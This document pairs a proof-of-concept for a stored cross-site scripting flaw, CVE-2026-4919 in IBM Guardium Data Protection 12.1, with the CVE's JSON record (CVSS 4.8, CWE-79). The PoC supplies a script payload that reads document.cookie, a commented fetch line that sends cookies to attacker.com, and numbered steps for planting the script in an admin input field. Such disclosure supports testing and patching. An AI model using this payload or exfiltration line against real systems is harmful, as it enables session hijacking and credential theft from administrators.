CVE-2026-4919

<!-- PoC for CVE-2026-4919: Stored XSS in IBM Guardium Data Protection Description: Inject a script to execute in the context of the admin session. --> <script> // Example payload to demonstrate cookie theft alert('XSS Vulnerability Confirmed: ' + document.cookie); // In a real attack, this would be an exfiltration request: // fetch('http://attacker.com/steal?c=' + document.cookie); </script> <!-- Instructions: 1. Login as an Administrator. 2. Locate a vulnerable input field (e.g. report name, user description). 3. Paste the script tag above. 4. Save the data. 5. Navigate to the page displaying the data to observe execution. -->

{"cve": {"id": "CVE-2026-4919", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:46.590", "lastModified": "2026-04-27T18:11:52.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Guardium Data Protection 12.1 is vulnerable to cross-site scripting. This vulnerability allows an administrative user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:guardium_data_protection:12.1:*:*:*:*:*:*:*", "matchCriteriaId": "EADF2641-F8DF-4986-8106-287C615DE19D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270422", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}